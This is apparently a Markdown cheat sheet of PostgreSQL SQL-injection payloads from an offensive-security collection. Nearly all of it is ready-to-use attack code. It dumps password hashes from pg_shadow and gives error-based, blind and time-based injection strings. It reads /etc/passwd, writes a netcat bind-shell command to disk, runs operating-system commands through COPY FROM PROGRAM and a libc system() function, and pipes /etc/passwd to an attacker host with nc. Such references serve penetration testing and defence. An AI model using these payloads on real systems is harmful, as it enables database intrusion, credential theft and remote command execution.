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183 lines
5.6 KiB
Markdown
183 lines
5.6 KiB
Markdown
# PostgreSQL injection
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## Summary
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* [PostgreSQL Comments](#postgresql-comments)
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* [PostgreSQL version](#postgresql-version)
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* [PostgreSQL Current User](#postgresql-current-user)
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* [PostgreSQL List Users](#postgresql-list-users)
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* [PostgreSQL List Password Hashes](#postgresql-list-password-hashes)
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* [PostgreSQL List Database Administrator Accounts](#postgresql-list-database-administrator-accounts)
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* [PostgreSQL List Privileges](#postgresql-list-privileges)
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* [PostgreSQL database name](#postgresql-database-name)
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* [PostgreSQL List databases](#postgresql-list-database)
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* [PostgreSQL List tables](#postgresql-list-tables)
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* [PostgreSQL List columns](#postgresql-list-columns)
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* [PostgreSQL Error Based](#postgresql-error-based)
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* [PostgreSQL Blind](#postgresql-blind)
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* [PostgreSQL Time Based](#postgresql-time-based)
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* [PostgreSQL Stacked query](#postgresql-stacked-query)
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* [PostgreSQL File Read](#postgresql-file-read)
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* [PostgreSQL File Write](#postgresql-file-write)
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* [PostgreSQL Command execution](#postgresql-command-execution)
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* [CVE-2019–9193](#cve-20199193)
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* [Using libc.so.6](#using-libcso6)
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* [References](#references)
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## PostgreSQL Comments
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```sql
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--
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/**/
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```
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## PostgreSQL Version
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```sql
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SELECT version()
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```
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## PostgreSQL Current User
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```sql
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SELECT user;
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SELECT current_user;
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SELECT session_user;
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SELECT usename FROM pg_user;
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SELECT getpgusername();
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```
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## PostgreSQL List Users
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```sql
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SELECT usename FROM pg_user
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```
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## PostgreSQL List Password Hashes
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```sql
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SELECT usename, passwd FROM pg_shadow
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```
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## PostgreSQL List Database Administrator Accounts
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```sql
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SELECT usename FROM pg_user WHERE usesuper IS TRUE
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```
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## PostgreSQL List Privileges
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```sql
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SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
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```
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## PostgreSQL Database Name
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```sql
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SELECT current_database()
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```
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## PostgreSQL List Database
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```sql
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SELECT datname FROM pg_database
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```
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## PostgreSQL List Tables
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```sql
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SELECT table_name FROM information_schema.tables
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```
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## PostgreSQL List Columns
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```sql
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SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
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```
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## PostgreSQL Error Based
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```sql
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,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
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,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
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,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
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,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
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' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
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' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
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' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
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' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
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```
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## PostgreSQL Blind
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```sql
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' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
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' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
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```
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## PostgreSQL Time Based
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```sql
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AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
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AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
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```
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## PostgreSQL Stacked Query
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Use a semi-colon ";" to add another query
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```sql
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http://host/vuln.php?id=injection';create table NotSoSecure (data varchar(200));--
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```
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## PostgreSQL File Read
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```sql
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select pg_ls_dir('./');
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select pg_read_file('PG_VERSION', 0, 200);
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```
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NOTE: ``pg_read_file` doesn't accept the `/` character.
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```sql
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CREATE TABLE temp(t TEXT);
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COPY temp FROM '/etc/passwd';
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SELECT * FROM temp limit 1 offset 0;
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```
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## PostgreSQL File Write
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```sql
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CREATE TABLE pentestlab (t TEXT);
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INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
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SELECT * FROM pentestlab;
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COPY pentestlab(t) TO '/tmp/pentestlab';
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```
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## PostgreSQL Command execution
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### CVE-2019–9193
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Can be used from [Metasploit](https://github.com/rapid7/metasploit-framework/pull/11598) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
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```SQL
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DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
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CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
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COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
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SELECT * FROM cmd_exec; -- [Optional] View the results
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DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
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```
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### Using libc.so.6
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```sql
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CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
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SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
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```
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## References
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* [A Penetration Tester’s Guide to PostgreSQL - David Hayter](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
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* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)
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* [SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov)](https://hackerone.com/reports/181803)
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* [POSTGRESQL 9.X REMOTE COMMAND EXECUTION - 26 Oct 17 - Daniel](https://www.dionach.com/blog/postgresql-9x-remote-command-execution)
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